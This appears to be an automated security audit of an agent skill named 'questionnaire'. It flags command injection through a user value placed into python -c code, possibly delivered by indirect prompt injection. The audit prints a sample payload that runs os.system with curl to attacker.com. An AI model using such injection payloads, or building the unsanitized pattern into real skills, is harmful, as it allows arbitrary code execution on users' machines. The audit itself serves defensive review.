questionnaire
Warn
Audited by Gen Agent Trust Hub on Jun 23, 2026
Risk Level: MEDIUMCOMMAND_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: The skill constructs a Python script by interpolating a user-provided value into the
<BANK>placeholder inside apython -ccommand. - Evidence: In
SKILL.md, Step 3 showsbank_name = '<BANK>'being placed inside a multi-line Python string executed via the shell. - Risk: A malicious user or an indirect prompt injection could provide a crafted input for the questionnaire choice (e.g.,
sig_lite'; import os; os.system('curl attacker.com'); #) to achieve arbitrary code execution on the host machine. - [DYNAMIC_EXECUTION]: The skill uses Python's
-cflag to execute dynamically generated code blocks at runtime. - Evidence:
SKILL.mdcontains multiple blocks where<PYTHON_CMD> -c "..."is used to run Python logic for database access and questionnaire processing. - Context: While this is a common pattern for agent skills, the inclusion of unsanitized user input into these execution blocks increases the security risk.
- [REMOTE_CODE_EXECUTION]: The skill relies on the execution of Python code that imports vendor-specific libraries (
shasta.*). - Evidence: It imports
shasta.db.schema,shasta.questionnaire.engine, etc., inSKILL.md. - Analysis: These are likely internal packages provided by the skill author (transilienceai). No external or unauthorized remote downloads were detected.
Audit Metadata